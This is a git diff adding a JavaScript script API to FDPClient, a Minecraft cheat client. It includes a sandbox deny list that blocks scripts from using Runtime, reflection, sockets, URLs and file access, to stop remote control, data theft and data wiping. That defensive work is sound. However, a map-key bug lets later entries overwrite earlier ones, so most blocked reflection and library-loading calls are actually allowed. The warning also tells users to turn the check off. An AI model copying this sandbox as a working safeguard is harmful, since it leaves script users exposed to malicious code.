a/src/main/java/net/ccbluex/liquidbounce/script/ScriptManager.kt b/src/main/java/net/ccbluex/liquidbounce/script/ScriptManager.kt new file mode 100644 index 0000000..9fe53ca --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/script/ScriptManager.kt @@ -0,0 +1,74 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.script + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.script.remapper.Remapper +import net.ccbluex.liquidbounce.utils.ClientUtils +import java.io.File + +class ScriptManager { + + val scripts = mutableListOf<Script>() + val scriptsFolder = File(FDPClient.fileManager.dir, "scripts") + + /** + * Loads all scripts inside the scripts folder. + */ + fun loadScripts() { + if (!scriptsFolder.exists()) { + scriptsFolder.mkdir() + } + + scriptsFolder.listFiles()?.forEach { + if (it.name.endsWith(".js", true)) { + Remapper.loadSrg() // load SRG if needed, this will optimize the performance + loadJsScript(it) + } + } + } + + /** + * Unloads all scripts. + */ + fun unloadScripts() { + scripts.clear() + } + + fun unloadScript(script: Script) { + scripts.remove(script) + } + + fun loadScript(script: Script) { + scripts.add(script) + } + + /** + * Loads a script from a file. + */ + fun loadJsScript(scriptFile: File) { + try { + scripts.add(Script(scriptFile)) + ClientUtils.logInfo("[FDPScriptAPI] Successfully loaded script '${scriptFile.name}'.") + } catch (t: Throwable) { + ClientUtils.logError("[FDPScriptAPI] Failed to load script '${scriptFile.name}'.", t) + } + } + + /** + * Enables all scripts. + */ + fun enableScripts() { + scripts.forEach { it.onEnable() } + } + + /** + * Disables all scripts. + */ + fun disableScripts() { + scripts.forEach { it.onDisable() } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/script/ScriptSafetyManager.kt b/src/main/java/net/ccbluex/liquidbounce/script/ScriptSafetyManager.kt new file mode 100644 index 0000000..b758ac6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/script/ScriptSafetyManager.kt @@ -0,0 +1,152 @@ +package net.ccbluex.liquidbounce.script + +import com.sun.jna.Native +import jdk.nashorn.api.scripting.ClassFilter +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.misc.HttpUtils +import org.apache.commons.io.FileUtils +import java.io.File +import java.io.InputStream +import java.io.OutputStream +import java.net.Socket +import java.net.URL +import java.net.URLConnection +import java.nio.file.Files +import java.nio.file.Path +import java.util.* + +object ScriptSafetyManager { + + private val level = ProtectionLevel.valueOf((System.getProperty("fdp.script.safety") ?: "safe").uppercase()).level + private val restrictedClasses: Map<Class<*>, Int> + private val restrictedChilds: Map<Class<*>, Pair<String, Int>> + + val classFilter = ClassFilter { name -> + try { + !isRestricted(Class.forName(name)) + } catch (e: ClassNotFoundException) { + false + } + } + + init { + ClientUtils.logInfo("[FDPScriptAPI] Script safety level: ${ProtectionLevel.values().find { it.level == level }?.name}($level)") // maybe we should think about performance here? + + val restrictedClasses = mutableMapOf<Class<*>, Int>() + val restrictedChilds = mutableMapOf<Class<*>, Pair<String, Int>>() + + // this can be used by a malicious script to remote control the user + restrictedClasses[ScriptSafetyManager::class.java] = ProtectionLevel.HARMFUL.level + restrictedClasses[ClassLoader::class.java] = ProtectionLevel.HARMFUL.level + restrictedClasses[Native::class.java] = ProtectionLevel.HARMFUL.level + restrictedClasses[Runtime::class.java] = ProtectionLevel.HARMFUL.level + restrictedChilds[System::class.java] = Pair("loadLibrary", ProtectionLevel.HARMFUL.level) + restrictedChilds[System::class.java] = Pair("load", ProtectionLevel.HARMFUL.level) + restrictedChilds[Class::class.java] = Pair("forName", ProtectionLevel.HARMFUL.level) + // block the reflection api + restrictedChilds[Class::class.java] = Pair("getDeclaredField", ProtectionLevel.HARMFUL.level) + restrictedChilds[Class::class.java] = Pair("getDeclaredMethod", ProtectionLevel.HARMFUL.level) + restrictedChilds[Class::class.java] = Pair("getField", ProtectionLevel.HARMFUL.level) + restrictedChilds[Class::class.java] = Pair("getMethod", ProtectionLevel.HARMFUL.level) + restrictedChilds[Class::class.java] = Pair("getDeclaredFields", ProtectionLevel.HARMFUL.level) + restrictedChilds[Class::class.java] = Pair("getDeclaredMethods", ProtectionLevel.HARMFUL.level) + restrictedChilds[Class::class.java] = Pair("getFields", ProtectionLevel.HARMFUL.level) + restrictedChilds[Class::class.java] = Pair("getMethods", ProtectionLevel.HARMFUL.level) + restrictedChilds[Class::class.java] = Pair("getConstructor", ProtectionLevel.HARMFUL.level) + restrictedChilds[Class::class.java] = Pair("getDeclaredConstructor", ProtectionLevel.HARMFUL.level) + restrictedChilds[Class::class.java] = Pair("getConstructors", ProtectionLevel.HARMFUL.level) + restrictedChilds[Class::class.java] = Pair("getDeclaredConstructors", ProtectionLevel.HARMFUL.level) + restrictedChilds[Class::class.java] = Pair("newInstance", ProtectionLevel.HARMFUL.level) + + // blocks privacy collection or other sensitive information sent to the server by the script + restrictedClasses[URL::class.java] = ProtectionLevel.DANGER.level + restrictedClasses[Socket::class.java] = ProtectionLevel.DANGER.level + restrictedClasses[URLConnection::class.java] = ProtectionLevel.DANGER.level + restrictedClasses[HttpUtils::class.java] = ProtectionLevel.DANGER.level + + // some trojan scripts may wipe user's data + restrictedClasses[File::class.java] = ProtectionLevel.DANGER.level + restrictedClasses[Path::class.java] = ProtectionLevel.DANGER.level + restrictedClasses[FileUtils::class.java] = ProtectionLevel.DANGER.level + restrictedClasses[Files::class.java] = ProtectionLevel.DANGER.level + restrictedClasses[InputStream::class.java] = ProtectionLevel.DANGER.level + restrictedClasses[OutputStream::class.java] = ProtectionLevel.DANGER.level + restrictedClasses[com.google.common.io.Files::class.java] = ProtectionLevel.DANGER.level + restrictedClasses[net.ccbluex.liquidbounce.utils.FileUtils::class.java] = ProtectionLevel.DANGER.level + + // make it UNMODIFIABLE + this.restrictedClasses = Collections.unmodifiableMap(restrictedClasses) + this.restrictedChilds = Collections.unmodifiableMap(restrictedChilds) + } + + fun isRestricted(classIn: Class<*>): Boolean { + var klass = classIn + while (klass != Any::class.java) { + if (isRestrictedSimple(klass)) { + return true + } + if(klass.superclass != null) { + klass = klass.superclass + } else { + break + } + } + return false + } + + fun isRestricted(classIn: Class<*>, child: String): Boolean { + var klass = classIn + while (klass != Any::class.java) { + if (isRestrictedSimple(klass, child)) { + return true + } + if(klass.superclass != null) { + klass = klass.superclass + } else { + break + } + } + return false + } + + fun isRestrictedSimple(klass: Class<*>): Boolean { + return if(restrictedClasses.containsKey(klass) && restrictedClasses[klass]!! > level) { + warnRestricted(klass.name, "") + true + } else { + false + } + } + + fun isRestrictedSimple(klass: Class<*>, child: String): Boolean { + return if(isRestrictedSimple(klass)) { + warnRestricted(klass.name, "") + true + } else if(restrictedChilds.containsKey(klass) && restrictedChilds[klass]!!.first == child && restrictedChilds[klass]!!.second > level) { + warnRestricted(klass.name, child) + true + } else { + false + } + } + + private val alerted = mutableListOf<String>() + + private fun warnRestricted(klass: String, child: String = "") { + val message = klass + (if(child.isNotEmpty()) ".$child" else "") + if(!alerted.contains(message)) { + alerted.add(message) + ClientUtils.logWarn("[FDPScriptAPI] \n" + + "========= WARNING =========\n" + + "The script tried to make a restricted call: $message,\n" + + "please add a jvm argument to disable this check: -Dfdp.script.safety=HARMFUL\n" + + "===========================") + } + } + + enum class ProtectionLevel(val level: Int) { + SAFE(0), + DANGER(1), + HARMFUL(2) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/script/api/ScriptCommand.kt b/src/main/java/net/ccbluex/liquidbounce/script/api/ScriptCommand.kt new file mode 100644 index 0000000..4e276f0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/script/api/ScriptCommand.kt @@ -0,0 +1,35 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.script.api + +import jdk.nashorn.api.scripting.JSObject +import jdk.nashorn.api.scripting.ScriptUtils +import net.ccbluex.liquidbounce.features.command.Command +import net.ccbluex.liquidbounce.utils.ClientUtils + +@Suppress("UNCHECKED_CAST", "unused") +class ScriptCommand(private val commandObject: JSObject) : Command(commandObject.getMember("name") as String, + ScriptUtils.convert(commandObject.getMember("aliases"), Array<String>::class.java) as Array<String>) { + + private val events = HashMap<String, JSObject>() + + /** + * Called from inside the script to register a new event handler. + * @param eventName Name of the event. + * @param handler JavaScript function used to handle the event. + */ + fun on(eventName: String, handler: JSObject) { + events[eventName] = handler + } + + override fun execute(args: Array<String>) { + try { + events["execute"]?.call(commandObject, args) + } catch (throwable: Throwable) { + ClientUtils.logError("[FDPScriptAPI] Exception in command '$command'!", throwable) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/script/api/ScriptModule.kt b/src/main/java/net/ccbluex/liquidbounce/script/api/ScriptModule.kt new file mode 100644 index 0000000..d788f6c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/script/api/ScriptModule.kt @@ -0,0 +1,160 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.script.api + +import jdk.nashorn.api.scripting.JSObject +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.features.value.Value + +@Suppress("unused") +@ModuleInfo(name = "ScriptModule", category = ModuleCategory.OTHER) +class ScriptModule(private val moduleObject: JSObject) : Module() { + + private val events = HashMap<String, JSObject>() + private val _values = LinkedHashMap<String, Value<*>>() + private var _tag: String? = null + + /** + * Allows the user to access values by typing module.settings.<valuename> + */ + val settings by lazy { _values } + + init { + name = moduleObject.getMember("name") as String + description = moduleObject.getMember("description") as String + + val categoryString = moduleObject.getMember("category") as String + for (category in ModuleCategory.values()) + if (categoryString.equals(category.configName, true)) { + this.category = category + } + + if (moduleObject.hasMember("settings")) { + val settings = moduleObject.getMember("settings") as JSObject + + for (settingName in settings.keySet()) + _values[settingName] = settings.getMember(settingName) as Value<*> + } + + if (moduleObject.hasMember("tag")) { + _tag = moduleObject.getMember("tag") as String + } + } + + override fun onLoad() { + // do nothing + } + + override val values: List<Value<*>> + get() { + return _values.values.toList() + } + + override var tag: String? + get() = _tag + set(value) { + _tag = value + } + + /** + * Called from inside the script to register a new event handler. + * @param eventName Name of the event. + * @param handler JavaScript function used to handle the event. + */ + fun on(eventName: String, handler: JSObject) { + events[eventName] = handler + } + + + override fun onEnable() = callEvent("enable") + + override fun onDisable() = callEvent("disable") + + @EventTarget + fun onUpdate(updateEvent: UpdateEvent) = callEvent("update") + + @EventTarget + fun onMotion(motionEvent: MotionEvent) { + callEvent("motion", motionEvent) + when(motionEvent.eventState) { + EventState.PRE -> callEvent("premotion", motionEvent) + EventState.POST -> callEvent("postmotion", motionEvent) + } + } + @EventTarget + fun onRender2D(render2DEvent: Render2DEvent) = callEvent("render2D", render2DEvent) + + @EventTarget + fun onRender3D(render3DEvent: Render3DEvent) = callEvent("render3D", render3DEvent) + + @EventTarget + fun onPacket(packetEvent: PacketEvent) = callEvent("packet", packetEvent) + + @EventTarget + fun onJump(jumpEvent: JumpEvent) = callEvent("jump", jumpEvent) + + @EventTarget + fun onAttack(attackEvent: AttackEvent) = callEvent("attack", attackEvent) + + @EventTarget + fun onBlockBB(blockBBEvent: BlockBBEvent) = callEvent("blockBB", blockBBEvent) + + @EventTarget + fun onClientShutdown(clientShutdownEvent: ClientShutdownEvent) = callEvent("clientShutdown", clientShutdownEvent) + + @EventTarget + fun onPushOut(pushOutEvent: PushOutEvent) = callEvent("pushOut", pushOutEvent) + + @EventTarget + fun onScreen(screenEvent: ScreenEvent) = callEvent("screen", screenEvent) + + @EventTarget + fun onTick(tickEvent: TickEvent) = callEvent("tick", tickEvent) + + @EventTarget + fun onKey(keyEvent: KeyEvent) = callEvent("key", keyEvent) + + @EventTarget + fun onMove(moveEvent: MoveEvent) = callEvent("move", moveEvent) + + @EventTarget + fun onStep(stepEvent: StepEvent) = callEvent("step", stepEvent) + + @EventTarget + fun onWorld(worldEvent: WorldEvent) = callEvent("world", worldEvent) + + @EventTarget + fun onSession(sessionEvent: SessionEvent) = callEvent("session") + + @EventTarget + fun onClickWindow(clickWindowEvent: ClickWindowEvent) = callEvent("clickWindow", clickWindowEvent) + + @EventTarget + fun onClickBlock(clickBlockEvent: ClickBlockEvent) = callEvent("clickBlock", clickBlockEvent) + + @EventTarget + fun onStrafe(strafeEvent: StrafeEvent) = callEvent("strafe", strafeEvent) + + @EventTarget + fun onSlowDown(slowDownEvent: SlowDownEvent) = callEvent("slowDown", slowDownEvent) + + /** + * Calls the handler of a registered event. + * @param eventName Name of the event to be called. + * @param payload Event data passed to the handler function. + */ + private fun callEvent(eventName: String, payload: Any? = null) { + try { + events[eventName]?.call(moduleObject, payload) + } catch (throwable: Throwable) { + ClientUtils.logError("[FDPScriptAPI] Exception in module '$name'!", throwable) + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/script/api/global/Chat.kt b/src/main/java/net/ccbluex/liquidbounce/script/api/global/Chat.kt new file mode 100644 index 0000000..487ec92 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/script/api/global/Chat.kt @@ -0,0 +1,30 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.script.api.global + +import net.ccbluex.liquidbounce.utils.ClientUtils + +/** + * Object used by the script API to provide an easier way of calling chat-related methods. + */ +object Chat { + + /** + * Prints a message to the chat (client-side) + * @param message Message to be printed + */ + @Suppress("unused") + @JvmStatic + fun print(message: String) { + ClientUtils.displayChatMessage(message) + } + + @Suppress("unused") + @JvmStatic + fun alert(message: String) { + ClientUtils.displayAlert(message) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/script/api/global/Notifications.kt b/src/main/java/net/ccbluex/liquidbounce/script/api/global/Notifications.kt new file mode 100644 index 0000000..ab3bc30 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/script/api/global/Notifications.kt @@ -0,0 +1,29 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.script.api.global + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType + +object Notifications { + + @Suppress("unused") + @JvmStatic + fun create(name: String?, content: String?, notify: String?, time: Int?) { + var notifytype = NotifyType.WARNING + when(notify?.lowercase()) { + "success" -> notifytype = NotifyType.SUCCESS + + "info" -> notifytype = NotifyType.INFO + + "error" -> notifytype = NotifyType.ERROR + + "warning" -> notifytype = NotifyType.WARNING + } + FDPClient.hud.addNotification(Notification(name ?: "ScriptAPI", content ?: "Notification register failed", notifytype, time ?: 1000)) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/script/api/global/Setting.kt b/src/main/java/net/ccbluex/liquidbounce/script/api/global/Setting.kt new file mode 100644 index 0000000..896f47a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/script/api/global/Setting.kt @@ -0,0 +1,111 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.script.api.global + +import jdk.nashorn.api.scripting.JSObject +import jdk.nashorn.api.scripting.ScriptUtils +import net.ccbluex.liquidbounce.features.* +import net.ccbluex.liquidbounce.features.value.* + +/** + * Object used by the script API to provide an idiomatic way of creating module values. + */ +object Setting { + + /** + * Creates a boolean value. + * @param settingInfo JavaScript object containing information about the value. + * @return An instance of [BoolValue] + */ + @JvmStatic + fun boolean(settingInfo: JSObject): BoolValue { + val name = settingInfo.getMember("name") as String + val default = settingInfo.getMember("default") as Boolean + + return BoolValue(name, default) + } + + @JvmStatic + fun bool(settingInfo: JSObject): BoolValue { + return boolean(settingInfo) + } + + /** + * Creates an integer value. + * @param settingInfo JavaScript object containing information about the value. + * @return An instance of [IntegerValue] + */ + @JvmStatic + fun integer(settingInfo: JSObject): IntegerValue { + val name = settingInfo.getMember("name") as String + val default = (settingInfo.getMember("default") as Number).toInt() + val min = (settingInfo.getMember("min") as Number).toInt() + val max = (settingInfo.getMember("max") as Number).toInt() + + return IntegerValue(name, default, min, max) + } + + @JvmStatic + fun int(settingInfo: JSObject): IntegerValue { + return integer(settingInfo) + } + + /** + * Creates a float value. + * @param settingInfo JavaScript object containing information about the value. + * @return An instance of [FloatValue] + */ + @JvmStatic + fun float(settingInfo: JSObject): FloatValue { + val name = settingInfo.getMember("name") as String + val default = (settingInfo.getMember("default") as Number).toFloat() + val min = (settingInfo.getMember("min") as Number).toFloat() + val max = (settingInfo.getMember("max") as Number).toFloat() + + return FloatValue(name, default, min, max) + } + + /** + * Creates a text value. + * @param settingInfo JavaScript object containing information about the value. + * @return An instance of [TextValue] + */ + @JvmStatic + fun text(settingInfo: JSObject): TextValue { + val name = settingInfo.getMember("name") as String + val default = settingInfo.getMember("default") as String + + return TextValue(name, default) + } + + /** + * Creates a block value. + * @param settingInfo JavaScript object containing information about the value. + * @return An instance of [BlockValue] + */ + @JvmStatic + fun block(settingInfo: JSObject): BlockValue { + val name = settingInfo.getMember("name") as String + val default = (settingInfo.getMember("default") as Number).toInt() + + return BlockValue(name, default) + } + + /** + * Creates a list value. + * @param settingInfo JavaScript object containing information about the value. + * @return An instance of [ListValue] + */ + @JvmStatic + @Suppress("UNCHECKED_CAST") + fun list(settingInfo: JSObject): ListValue { + val name = settingInfo.getMember("name") as String + val values = ScriptUtils.convert(settingInfo.getMember("values"), Array<String>::class.java) as Array<String> + val default = settingInfo.getMember("default") as String + + return ListValue(name, values, default) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/script/remapper/Remapper.kt b/src/main/java/net/ccbluex/liquidbounce/script/remapper/Remapper.kt new file mode 100644 index 0000000..427576b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/script/remapper/Remapper.kt @@ -0,0 +1,87 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.script.remapper + +import net.ccbluex.liquidbounce.utils.ClientUtils +import org.apache.commons.io.IOUtils + +/** + * A srg remapper + * + * @author CCBlueX + */ +object Remapper { + + private var srgLoaded = false + + private val fields: HashMap<String, HashMap<String, String>> = hashMapOf() + private val methods: HashMap<String, HashMap<String, String>> = hashMapOf() + + /** + * Load srg + */ + fun loadSrg() { + if (srgLoaded) + return + // Load srg + ClientUtils.logInfo("[Remapper] Loading srg...") + parseSrg(IOUtils.readLines(Remapper::class.java.classLoader.getResourceAsStream("assets/minecraft/fdpclient/scriptapi/mcp-stable_22.srg"))) + srgLoaded = true + ClientUtils.logInfo("[Remapper] Loaded srg.") + } + + private fun parseSrg(srgData: List<String>) { + srgData.forEach { + val args = it.split(" ") + + when { + it.startsWith("FD:") -> { + val name = args[1] + val srg = args[2] + + val className = name.substring(0, name.lastIndexOf('/')).replace('/', '.') + val fieldName = name.substring(name.lastIndexOf('/') + 1) + val fieldSrg = srg.substring(srg.lastIndexOf('/') + 1) + + if (!fields.contains(className)) { + fields[className] = hashMapOf() + } + + fields[className]!![fieldSrg] = fieldName + } + + it.startsWith("MD:") -> { + val name = args[1] + val desc = args[2] + val srg = args[3] + + val className = name.substring(0, name.lastIndexOf('/')).replace('/', '.') + val methodName = name.substring(name.lastIndexOf('/') + 1) + val methodSrg = srg.substring(srg.lastIndexOf('/') + 1) + + if (!methods.contains(className)) { + methods[className] = hashMapOf() + } + + methods[className]!![methodSrg + desc] = methodName + } + } + } + } + + /** + * Remap field + */ + fun remapField(clazz : Class<*>, name : String) = + fields[clazz.name]?.getOrDefault(name, name) ?: name + + + /** + * Remap method + */ + fun remapMethod(clazz : Class<*>, name : String, desc : String) = + methods[clazz.name]?.getOrDefault(name + desc, name) ?: name +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/script/remapper/injection/transformers/AbstractJavaLinkerTransformer.java b/src/main/java/net/ccbluex/liquidbounce/script/remapper/injection/transformers/AbstractJavaLinkerTransformer.java new file mode 100644 index 0000000..ed5e1be --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/script/remapper/injection/transformers/AbstractJavaLinkerTransformer.java @@ -0,0 +1,81 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.script.remapper.injection.transformers; + +import net.ccbluex.liquidbounce.utils.ASMUtils; +import net.minecraft.launchwrapper.IClassTransformer; +import org.objectweb.asm.tree.ClassNode; +import org.objectweb.asm.tree.FieldInsnNode; +import org.objectweb.asm.tree.MethodInsnNode; +import org.objectweb.asm.tree.VarInsnNode; + +import static org.objectweb.asm.Opcodes.*; + +/** + * Transform bytecode of classes + * + * @author CCBlueX + * @class jdk/internal/dynalink/beans/AbstractJavaLinker + */ +public class AbstractJavaLinkerTransformer implements IClassTransformer { + + /** + * Transform a class + * + * @param name of target class + * @param transformedName of target class + * @param basicClass bytecode of target class + * @return new bytecode + */ + @Override + public byte[] transform(String name, String transformedName, byte[] basicClass) { + if(name.equals("jdk.internal.dynalink.beans.AbstractJavaLinker")) { + try { + final ClassNode classNode = ASMUtils.INSTANCE.toClassNode(basicClass); + + classNode.methods.forEach(methodNode -> { + switch(methodNode.name + methodNode.desc) { + case "addMember(Ljava/lang/String;Ljava/lang/reflect/AccessibleObject;Ljava/util/Map;)V": + methodNode.instructions.insertBefore(methodNode.instructions.getFirst(), ASMUtils.INSTANCE.toNodes( + new VarInsnNode(ALOAD, 0), + new FieldInsnNode(GETFIELD, "jdk/internal/dynalink/beans/AbstractJavaLinker", "clazz", "Ljava/lang/Class;"), + new VarInsnNode(ALOAD, 1), + new VarInsnNode(ALOAD, 2), + new MethodInsnNode(INVOKESTATIC, "net/ccbluex/liquidbounce/script/remapper/injection/transformers/handlers/AbstractJavaLinkerHandler", "addMember", "(Ljava/lang/Class;Ljava/lang/String;Ljava/lang/reflect/AccessibleObject;)Ljava/lang/String;", false), + new VarInsnNode(ASTORE, 1) + )); + break; + case "addMember(Ljava/lang/String;Ljdk/internal/dynalink/beans/SingleDynamicMethod;Ljava/util/Map;)V": + methodNode.instructions.insertBefore(methodNode.instructions.getFirst(), ASMUtils.INSTANCE.toNodes( + new VarInsnNode(ALOAD, 0), + new FieldInsnNode(GETFIELD, "jdk/internal/dynalink/beans/AbstractJavaLinker", "clazz", "Ljava/lang/Class;"), + new VarInsnNode(ALOAD, 1), + new MethodInsnNode(INVOKESTATIC, "net/ccbluex/liquidbounce/script/remapper/injection/transformers/handlers/AbstractJavaLinkerHandler", "addMember", "(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/String;", false), + new VarInsnNode(ASTORE, 1) + )); + break; + case "setPropertyGetter(Ljava/lang/String;Ljdk/internal/dynalink/beans/SingleDynamicMethod;Ljdk/internal/dynalink/beans/GuardedInvocationComponent$ValidationType;)V": + methodNode.instructions.insertBefore(methodNode.instructions.getFirst(), ASMUtils.INSTANCE.toNodes( + new VarInsnNode(ALOAD, 0), + new FieldInsnNode(GETFIELD, "jdk/internal/dynalink/beans/AbstractJavaLinker", "clazz", "Ljava/lang/Class;"), + new VarInsnNode(ALOAD, 1), + new MethodInsnNode(INVOKESTATIC, "net/ccbluex/liquidbounce/script/remapper/injection/transformers/handlers/AbstractJavaLinkerHandler", "setPropertyGetter", "(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/String;", false), + new VarInsnNode(ASTORE, 1) + )); + break; + } + }); + + return ASMUtils.INSTANCE.toBytes(classNode); + }catch(final Throwable throwable) { + throwable.printStackTrace(); + } + } + + return basicClass; + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/script/remapper/injection/transformers/handlers/AbstractJavaLinkerHandler.kt b/src/main/java/net/ccbluex/liquidbounce/script/remapper/injection/transformers/handlers/AbstractJavaLinkerHandler.kt new file mode 100644 index 0000000..407496e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/script/remapper/injection/transformers/handlers/AbstractJavaLinkerHandler.kt @@ -0,0 +1,124 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.script.remapper.injection.transformers.handlers + +import net.ccbluex.liquidbounce.script.ScriptSafetyManager +import net.ccbluex.liquidbounce.script.remapper.Remapper +import org.objectweb.asm.Type +import java.lang.reflect.AccessibleObject +import java.lang.reflect.Method + +/** + * ... + * + * @author CCBlueX + */ +object AbstractJavaLinkerHandler { + + /** + * Handle member set name to hashmap of AbstractJavaLinkerHandler + * + * Name will be remapped from srgs + * Example: swingItem to func_71038_i + * + * @class jdk/internal/dynalink/beans/AbstractJavaLinker + * @method addMember(Ljava/lang/String;Ljava/lang/reflect/AccessibleObject;Ljava/util/Map;)V + * @param name of member set + * @param accessibleObject method of member set + */ + @JvmStatic + fun addMember(clazz: Class<*>, name: String, accessibleObject: AccessibleObject): String { + if (accessibleObject !is Method) { + return name + } + + var currentClass = clazz + while (currentClass.name != "java.lang.Object") { + if(ScriptSafetyManager.isRestrictedSimple(currentClass, name)) { + return "RESTRICTED" + } + val remapped = Remapper.remapMethod(currentClass, name, Type.getMethodDescriptor(accessibleObject)) + + if (remapped != name) { + return remapped + } + + if (currentClass.superclass == null) { + break + } + + currentClass = currentClass.superclass + } + + return name + } + + /** + * Handle member set name to hashmap of AbstractJavaLinkerHandler + * + * Name will be remapped from srgs + * Example: thePlayer to field_71439_g + * + * @class jdk/internal/dynalink/beans/AbstractJavaLinker + * @method addMember(Ljava/lang/String;Ljdk/internal/dynalink/beans/SingleDynamicMethod;Ljava/util/Map;)V + * @param name of property getter + */ + @JvmStatic + fun addMember(clazz: Class<*>, name: String): String { + var currentClass = clazz + while (currentClass.name != "java.lang.Object") { + if(ScriptSafetyManager.isRestrictedSimple(currentClass, name)) { + return "RESTRICTED" + } + val remapped = Remapper.remapField(currentClass, name) + + if (remapped != name) { + return remapped + } + + if (currentClass.superclass == null) { + break + } + + currentClass = currentClass.superclass + } + + return name + } + + /** + * Handle property getter set name to hashmap of AbstractJavaLinkerHandler + * + * Name will be remapped from srgs + * Example: thePlayer to field_71439_g + * + * @class jdk/internal/dynalink/beans/AbstractJavaLinker + * @method setPropertyGetter(Ljava/lang/String;Ljdk/internal/dynalink/beans/SingleDynamicMethod;Ljdk/internal/dynalink/beans/GuardedInvocationComponent$ValidationType;)V + * @param name of property getter + */ + @JvmStatic + fun setPropertyGetter(clazz: Class<*>, name: String): String { + var currentClass = clazz + while (currentClass.name != "java.lang.Object") { + if(ScriptSafetyManager.isRestrictedSimple(currentClass, name)) { + return "RESTRICTED" + } + val remapped = Remapper.remapField(currentClass, name) + + if (remapped != name) { + return remapped + } + + if (currentClass.superclass == null) { + break + } + + currentClass = currentClass.superclass + } + + return name + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/script/remapper/injection/utils/ClassUtils.kt b/src/main/java/net/ccbluex/liquidbounce/script/remapper/injection/utils/ClassUtils.kt new file mode 100644 index 0000000..493fc62 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/script/remapper/injection/utils/ClassUtils.kt @@ -0,0 +1,43 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.script.remapper.injection.utils + +import org.objectweb.asm.ClassReader +import org.objectweb.asm.ClassWriter +import org.objectweb.asm.tree.ClassNode + +/** + * A bytecode class reader and writer util + * + * @author CCBlueX + */ +object ClassUtils { + + /** + * Read bytes to class node + * + * @param bytes ByteArray of class + */ + fun toClassNode(bytes: ByteArray): ClassNode { + val classReader = ClassReader(bytes) + val classNode = ClassNode() + classReader.accept(classNode, 0) + + return classNode + } + + /** + * Write class node to bytes + * + * @param classNode ClassNode of class + */ + fun toBytes(classNode: ClassNode): ByteArray { + val classWriter = ClassWriter(ClassWriter.COMPUTE_MAXS) + classNode.accept(classWriter) + + return classWriter.toByteArray() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/script/remapper/injection/utils/NodeUtils.kt b/src/main/java/net/ccbluex/liquidbounce/script/remapper/injection/utils/NodeUtils.kt new file mode 100644 index 0000000..282f563 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/script/remapper/injection/utils/NodeUtils.kt @@ -0,0 +1,28 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.script.remapper.injection.utils + +import 